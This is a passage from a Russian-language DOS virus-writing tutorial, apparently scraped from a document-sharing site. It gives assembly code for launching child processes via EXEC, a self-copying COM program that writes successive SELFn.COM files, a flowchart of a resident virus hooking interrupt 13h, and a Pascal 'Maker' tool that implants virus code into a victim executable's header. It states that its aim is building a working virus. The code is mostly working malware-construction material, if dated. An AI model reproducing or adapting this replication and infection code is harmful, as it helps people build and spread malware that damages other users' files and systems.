"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса

Вид материалаДокументы

Содержание


"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
Cld ; ds:si ---> es:di¦
Подобный материал:
1   ...   4   5   6   7   8   9   10   11   ...   16

"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.


Назад | Далее



РЕЗЮМЕ¦ Вот какая последовательность действий необходима для EXEC:

-------

1. Переопределяем стек (пускаем его впритык к нашему

сегменту кода). Если процесс-родитель - СОМ-прогр-ма,

то до нашего вмешательства было так: SP = (SS=PSP)+65535

2. Сокращаем память родительского процесса, чтобы дать

место дочернему (новые владения родительского процесса

должны накрывать перемещенный стек)

3. Сохраняем в сегменте кода SS,ES,SP,DS

4. Сохраняем в сегменте кода DTA

5. Заполняем EPB

6. =====-Даем вызов EXEC-=============

7. Восстанавливаем DTA

8. Восстанавливаем SS,ES,SP,DS

. . . . . . . . . . . . . . . .

9. Завершаем родительск. программу


Вот текст примера (коментарии излишни):


-----------------------------------------------------------¬

¦ пример 12 ¦:

L-----------------------------------------------------------


TITLE Это - COM. программа N12 пример использования функции EXEC

ASSUME CS:CodeSegment

;-------------------------------------------------------------------------

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

;

head: JMP Short initial ;прыжок через данные

;

;

namef DB 'TETRIS.EXE',0 ;ASCIZ -строка - полн. имя файла

; ;

; ;блок параметров EXEC процесса (EPB)¬

exec_EPB DW 0 ; сегментный адрес строки вызова ¦

DW 80h ;-Tуказатель на командн. строку ¦

DW 0 ;-- в PSP PSP:80h ¦

DW 5Ch ;-Tуказатель на блок FCB1 ¦

DW 0 ;-- в PSP PSP:5Ch ¦

DW 6Ch ;-Tуказатель на блок FCB2 ¦

DW 0 ;-- в PSP PSP:6Ch ------------------

;

;

; !(SS = PSP)

initial: MOV AX,OFFSET save_arrea + 200h ;необходимо позаботиться

CLI ; о стеке (он должен быть перемещен

MOV SP,AX ; в охраняемую область, начинающуюся

STI ; следом за кодом процесса-родителя

; ; и не наследуемую дочерним процессом)

;

; ;необходимо дать место дочернему про-

; !(ES = PSP) ; цессу (для этого нужно сжать блок

MOV AH,4Ah ; памяти родителя до граници охраняе-

MOV BX,60h ; мой области (сам родитель+стек+хра-

INT 21h ; нилище SS,ES,SP,DTA); ES - сегмент,

; ; BX-длина (в параграфах) охраняемой

; ; области) здесь мы решили что BX=60h

;

MOV word ptr CS:[save_arrea+0],SS ;необходимо сохранить

MOV word ptr CS:[save_arrea+2],SP ; значения регистров

MOV word ptr CS:[save_arrea+4],ES ; SS,SP,ES,DS в коде

MOV word ptr CS:[save_arrea+6],DS ; родителя

;

MOV CX,20h ;сохранение DTA----¬

MOV SI,80h ; в коде родителя ¦

MOV DI,OFFSET save_arrea + 8 ; ¦

CLD ; DS:SI ---> ES:DI¦

REPE MOVSB ;-------------------

;

;

PUSH CS ;необходимо заполнить блок параметров

POP DS ; запускаемого дочернего процесса

MOV AX,CS ; (указываем сегмент. адрес PSP

MOV exec_EPB+4h,AX ; для родительского

MOV exec_EPB+8h,AX ; процесса)

MOV exec_EPB+0Ch,AX ;

MOV DX,OFFSET namef ;DS:DX адрес ASCIIZ строки имени

MOV BX,OFFSET exec_epb ;ES:BX адрес блока параметров EPB

XOR AL,AL ;код запуска = 0 (EXECUTE)

MOV AH,4Bh ; (еще есть = 3; - это OVERLAY)

INT 21h ;======== EXEC ! ! ! =============

;

;

CLI

MOV SS,word ptr CS:[save_arrea+0] ;восстановление

MOV SP,word ptr CS:[save_arrea+2] ; сохраненных

MOV ES,word ptr CS:[save_arrea+4] ; ранее регистров

MOV DS,word ptr CS:[save_arrea+6]

STI

;

MOV CX,20h ;восстановление DTA¬

MOV DI,80h ; ¦

MOV SI,OFFSET save_arrea + 8 ; ES:DI ---> DS:SI ¦

CLD ; ¦

REPE MOVSB ;-------------------

;

;

MOV AX,4C00h ;выход в DOS (еще

INT 21h ; один способ, опи-

save_arrea: ; ; санный в thelp)

;

MainProcedure ENDP

;

CodeSegment ENDS

END Start


И последнее, чему нам нужно научиться для создания нашего вируса -- соз-

давать на диске файлы и стирать их.

Здесь все достаточно просто:

--Открыть для создания файл -- функция 3Ch прерывания 21h

создание-+ Записать в открытый файл что-то -- функция 40h прерывания 21h

файла L-Закрыть файл -- функция 3Eh прерывания 21h

--

L-Стереть файл -- функция 41h прерывания 21h


Все данные возьмем из thelp:


DOS Fn 3cH: Создать файл через описатель

----------T-------T-----------------------------------

¦ Вход ¦ AH ¦ 3Ch (код функции)

L---------¦ DS:DX ¦ адрес строки ASCIIZ с именем файла

¦ CX ¦ атрибут файла 0-нормальн. 3-hidden и т.д.

----------+-------+-----------------------------------

¦ Выход ¦ AX ¦ код ошибки если CF установлен

L---------¦ ¦ описатель файла если ошибки нет

L-------¦-----------------------------------


DOS Fn 40H: Писать в файл через описатель

----------T-------T-----------------------------------

¦ Вход ¦ AH ¦ 40h (код функции)

L---------¦ BX ¦ описатель файла

¦ DS:DX ¦ адрес буфера, содержащего записываемые данные

¦ CX ¦ число записываемых байт

----------+-------+-----------------------------------

¦ Выход ¦ AX ¦ код ошибки если CF установлен

L---------¦ AL ¦ число реально записан. байт <----- лучший тест для ошибок

L-------¦-----------------------------------


DOS Fn 3eH: Закрыть описатель файла

----------T-------T-----------------------------------

¦ Вход ¦ AH ¦ 3Eh (код функции)

L---------¦ BX ¦ описатель файла

----------+-------+-----------------------------------

¦ Выход ¦ AX ¦ код ошибки если CF установлен

L---------¦-------¦-----------------------------------


DOS Fn 41H: Удалить файл

----------T-------T-----------------------------------

¦ Вход ¦ AH ¦ 41H

L---------¦ DS:DX ¦ адрес строки ASCIIZ с именем файла

----------+-------+-----------------------------------

¦ Выход ¦ AX ¦ код ошибки если CF установлен

L---------¦-------¦-----------------------------------


Ниже показана короткая программа, которая при запуске записывает саму

себя в исполняемый файл. Скомпилируйте ее и запустите. На диске возникнет

файл SELF1.COM. Запустите SELF1.COM. На диске возникнет файл SELF2.COM. За-

пустите SELF2.COM. На диске возникнет файл SELF3.COM. И так далее...

Это не вирус. Но он размножается.

Программа очень проста => без коментариев.


-----------------------------------------------------------¬

¦ пример 13 ¦:

L-----------------------------------------------------------


TITLE Это - COM. программа N13 пример работы с файлами

ASSUME CS:CodeSegment

;-------------------------------------------------------------------------

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

;

my_head: JMP Short initial ;прыжок через данные

;

namef DB 'SELF0.COM',0 ;имя, под которым прог-

; ; рама запишет себя на

; ; диск

; ;

f_number DW 0 ;логич. номер файла

;

;

initial: INC byte ptr CS:[namef+4] ;здесь мы модифицируем

; ; имя, под которым прог-

; ; рама запишет себя на

; ; диск

;

;---открыть файл для записи (уже существовавший файл с таким же-¬

;¦ именем будет при этом уничтожен) ¦

;L---------------------------------------------------------------

MOV DX,OFFSET namef ;DS:[DX] адрес ASCIZ (имя файла)

MOV CX,0 ;атрибут файла (0-нормальн.)

MOV AH,3Ch ;функция "открыть для создания"

INT 21h ;при открытии файлу присвоят номер

MOV CS:[f_number],AX ;сохраним номер файла

;

;---записать в файл что-то из буфера, расположенного по адресу -¬

;¦ ES:DX ¦

;L---------------------------------------------------------------

MOV BX,AX ;занесем номер файла в BX

MOV DX,OFFSET my_head ;ES:[DX] адрес буфера вывода

MOV CX,my_end - my_head ;CX=сколько байт из буфера запишем

; в файл

MOV AH,40h ;функция "записать в файл"

INT 21h ; (в файл будет записан код

; ; самой программы)

;

;---закрыть файл (это тоже необходимо)--------------------------¬

;L---------------------------------------------------------------

MOV BX,CS:[f_number] ;занесем номер файла в BX

MOV AH,3Eh ;функция "закрыть файл"

INT 21h

;

;

RET

my_end: ;

;

MainProcedure ENDP

;

CodeSegment ENDS

END Start


Теперь представим блок-схему комплексного вируса, ради которого мы так

долго мучались:


-----------------------------------------------------------¬

¦ рис.11 ¦:

L-----------------------------------------------------------


-----посадка резидента в MCB-блок----------------¬

L---------------------T---------------------------

¦

-----запись следующего за кодом вируса кода------¬

¦ зараженной программы во вспомогательный ¦

¦ файл на диск ¦

L---------------------T---------------------------

¦

-----запуск этого вспомогательного файла (EXEC)--¬

¦ (посаженный резидент поможет загрузчику ¦

¦ прочитать его как нормальный) ¦

L---------------------T---------------------------

¦

L---------->г=выполняется файл=¬

¦ . . . . . ¦¬

L==================-¦

¦

-----стираем записанный ранее вспомогательн. файл¬<----

L---------------------T---------------------------

--STOP-¬

L-------


Вся эта цепочка действий выполняется ЛИШЬ ОДИН РАЗ -- когда в память са-

жается резидент. После того, как резидент "прописался", он при каждом запуске

зараженного файла помогает ему запуститься как нормальному. Таким образом,

код вируса, не входящий в процедуру обработки прерывания 13h, выполняется

лишь при самом первом запуске зараженного файла, когда резидента еще нет и

некому обмануть программу-загрузчик.

В принципе можно обойтись и без записи вспомогательного файла на диск.

Можно узнать имя самОй работающей в данный момент программы и запустить ее

снова (уже под контролем резидента). Это возможно, если добраться до сегмента

среды для запускаемого файла. Там хранится имя запущенной в данный момент

программы (подробнее -- см. thelp).

Есть некоторая сложность. Чтобы получить самую первую зараженную прог-

рамму, нужно имплантировать вирус в ее заголовок (вирусы V1 и V2 в этом не

нуждались). Вирус, который может быть запущен, как отдельный файл (такими бы-

ли V1 и V2), будем в дальнейшем называть существующим в виде выделенной куль-

туры (по аналогии с биовирусологией). Кстати, если иметь много вирусов в виде

чистых культур, можно написать вирус-носитель, содержащий в себе эти вирусы в

зашифрованном виде и "выпускающий" их время от времени. Имплантацию можно

произвести при помощи программы на языке высокого уровня -- PASCAL-е или С.

Например вот такой:


-----------------------------------------------------------¬

¦ пример 14 ¦:

L-----------------------------------------------------------


{-Программа имплантирует вирус в -¬

¦файл-жертву. Имена жертвы и вируса ¦

¦передается как параметры, например:¦

¦ ¦

¦ Maker.exe virus.com tetris.exe ¦

¦ ¦

¦В заголовке жертвы должно быть ¦

¦достаточно свободного места. ¦

L-------------------------------------}


Program Maker;

Uses Dos;


Var

fr,fw : file of byte;

i : longint;

b : byte;

MN : SearchRec;

Victim,Implant : String;


Begin

Victim := Paramstr(2);

Implant:= Paramstr(1);

Findfirst(Implant,0,MN);

Assign(fr,Implant); Reset(fr);

Assign(fw,Victim); Reset(fw);

read(fr,b); Write(fw,b);

read(fr,b); Write(fw,b);

Seek(fw,$40);

Seek(fr,$40);

Writeln('Size=',MN.size);

for i:=1 to MN.size-$40 do begin

Read(fr,b); Write(fw,b);

end;

Close(fw);

Close(fr);

End.


Структура процедуры обработки прерывания 13h почти такая же, как и в V2.

Нужно лишь учесть, что теперь сегментный адрес резидента -- не адрес PSP по-

садившей его программы, а адрес занятого им MCB-блока.

Ниже приводим текст основной программы.

Пожалуй единственное замечание: вспомогательный файл, в который мы запи-

сываем следующий за кодом вируса код зараженной программы имеет размер EE00h,

т.к. это -- максимальный размер файла, который наш вирус будет заражать.